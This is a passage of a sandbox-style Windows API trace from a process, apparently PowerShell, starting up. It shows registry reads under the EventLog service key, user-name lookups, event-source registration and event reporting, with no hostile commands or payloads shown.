hKey=0x318, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x358) returned 0x0 [0052.596] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.596] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x5 [0052.611] RegOpenKeyExW (in: hKey=0x318, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x35c) returned 0x0 [0052.611] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x0) returned 0x2 [0052.612] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x360) returned 0x0 [0052.612] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e418 | out: phkResult=0x27e418*=0x364) returned 0x0 [0052.612] RegCloseKey (hKey=0x364) returned 0x0 [0052.612] RegCloseKey (hKey=0x318) returned 0x0 [0052.612] RegCloseKey (hKey=0x360) returned 0x0 [0052.638] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.639] GetLastError () returned 0x3 [0052.640] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.677] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3cc | out: phkResult=0x27e3cc*=0x318) returned 0x0 [0052.677] RegQueryInfoKeyW (in: hKey=0x318, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e434, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e430, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e434*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e430*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.677] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x0, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.677] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x1, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.677] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x2, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.677] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x3, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x4, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x5, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x6, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x7, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x8, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegEnumKeyExW (in: hKey=0x318, dwIndex=0x9, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.678] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x364) returned 0x0 [0052.679] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.679] RegOpenKeyExW (in: hKey=0x318, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x368) returned 0x0 [0052.679] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.679] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x36c) returned 0x0 [0052.679] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.679] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x370) returned 0x0 [0052.679] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.680] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x374) returned 0x0 [0052.680] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.680] RegOpenKeyExW (in: hKey=0x318, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x378) returned 0x0 [0052.680] RegOpenKeyExW (in: hKey=0x378, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.680] RegOpenKeyExW (in: hKey=0x318, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x37c) returned 0x0 [0052.680] RegOpenKeyExW (in: hKey=0x37c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.680] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x5 [0052.682] RegOpenKeyExW (in: hKey=0x318, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x380) returned 0x0 [0052.682] RegOpenKeyExW (in: hKey=0x380, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.682] RegOpenKeyExW (in: hKey=0x318, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x384) returned 0x0 [0052.682] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x388) returned 0x0 [0052.682] RegCloseKey (hKey=0x388) returned 0x0 [0052.682] RegCloseKey (hKey=0x318) returned 0x0 [0052.682] RegCloseKey (hKey=0x384) returned 0x0 [0052.682] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3cc | out: phkResult=0x27e3cc*=0x384) returned 0x0 [0052.683] RegQueryInfoKeyW (in: hKey=0x384, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e434, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e430, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e434*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e430*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x0, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x1, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x2, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x3, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x4, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x5, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x6, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x7, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x8, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.683] RegEnumKeyExW (in: hKey=0x384, dwIndex=0x9, lpName=0x2d1db8, lpcchName=0x27e450, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e450, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.684] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x318) returned 0x0 [0052.684] RegOpenKeyExW (in: hKey=0x318, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.684] RegOpenKeyExW (in: hKey=0x384, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x388) returned 0x0 [0052.684] RegOpenKeyExW (in: hKey=0x388, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.684] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x38c) returned 0x0 [0052.684] RegOpenKeyExW (in: hKey=0x38c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.684] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x390) returned 0x0 [0052.685] RegOpenKeyExW (in: hKey=0x390, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.685] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x394) returned 0x0 [0052.685] RegOpenKeyExW (in: hKey=0x394, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.685] RegOpenKeyExW (in: hKey=0x384, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x398) returned 0x0 [0052.685] RegOpenKeyExW (in: hKey=0x398, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.685] RegOpenKeyExW (in: hKey=0x384, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x39c) returned 0x0 [0052.685] RegOpenKeyExW (in: hKey=0x39c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.685] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x5 [0052.687] RegOpenKeyExW (in: hKey=0x384, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x3a0) returned 0x0 [0052.687] RegOpenKeyExW (in: hKey=0x3a0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x0) returned 0x2 [0052.687] RegOpenKeyExW (in: hKey=0x384, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x3a4) returned 0x0 [0052.687] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3fc | out: phkResult=0x27e3fc*=0x3a8) returned 0x0 [0052.687] RegCloseKey (hKey=0x3a8) returned 0x0 [0052.687] RegCloseKey (hKey=0x384) returned 0x0 [0052.688] RegCloseKey (hKey=0x3a4) returned 0x0 [0052.688] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3c0 | out: phkResult=0x27e3c0*=0x3a4) returned 0x0 [0052.688] RegQueryInfoKeyW (in: hKey=0x3a4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e428, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e424, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e428*=0xa, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e424*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.688] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x0, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.688] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x1, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x2, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x3, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x4, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x5, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ODiag", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x6, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OSession", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x7, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x8, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegEnumKeyExW (in: hKey=0x3a4, dwIndex=0x9, lpName=0x2d1db8, lpcchName=0x27e444, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e444, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0052.689] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x384) returned 0x0 [0052.690] RegOpenKeyExW (in: hKey=0x384, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.690] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3a8) returned 0x0 [0052.690] RegOpenKeyExW (in: hKey=0x3a8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.690] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3ac) returned 0x0 [0052.690] RegOpenKeyExW (in: hKey=0x3ac, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.690] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3b0) returned 0x0 [0052.690] RegOpenKeyExW (in: hKey=0x3b0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.691] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3b4) returned 0x0 [0052.691] RegOpenKeyExW (in: hKey=0x3b4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.691] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="ODiag", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3b8) returned 0x0 [0052.691] RegOpenKeyExW (in: hKey=0x3b8, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.691] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="OSession", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3bc) returned 0x0 [0052.691] RegOpenKeyExW (in: hKey=0x3bc, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.691] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x5 [0052.693] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3c0) returned 0x0 [0052.693] RegOpenKeyExW (in: hKey=0x3c0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x0) returned 0x2 [0052.693] RegOpenKeyExW (in: hKey=0x3a4, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3c4) returned 0x0 [0052.693] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e3f0 | out: phkResult=0x27e3f0*=0x3c8) returned 0x0 [0052.693] RegCloseKey (hKey=0x3c8) returned 0x0 [0052.694] RegCloseKey (hKey=0x3a4) returned 0x0 [0052.694] RegCloseKey (hKey=0x3c4) returned 0x0 [0052.701] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x4de0004 [0052.703] GetLastError () returned 0x0 [0052.704] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3450f6c*="WSMan", lpRawData=0x3450e14) returned 1 [0052.707] GetLastError () returned 0x0 [0052.707] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2d1db8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0052.707] GetLastError () returned 0xcb [0052.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.708] GetLastError () returned 0xcb [0052.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.708] GetLastError () returned 0xcb [0052.708] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27df14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0052.708] GetLastError () returned 0xcb [0052.708] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2d2578, nSize=0x27e564 | out: lpNameBuffer="XABNCPUWKW\\kFT6uTQW", nSize=0x27e564) returned 0x1 [0052.708] GetLastError () returned 0xcb [0052.708] GetUserNameW (in: lpBuffer=0x2d1db8, pcbBuffer=0x27e56c | out: lpBuffer="kFT6uTQW", pcbBuffer=0x27e56c) returned 1 [0052.709] ReportEventW (hEventLog=0x4de0004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3454e04*="Alias", lpRawData=0x3454cc0) returned 1 [0052.709] GetLastError () returned 0x0 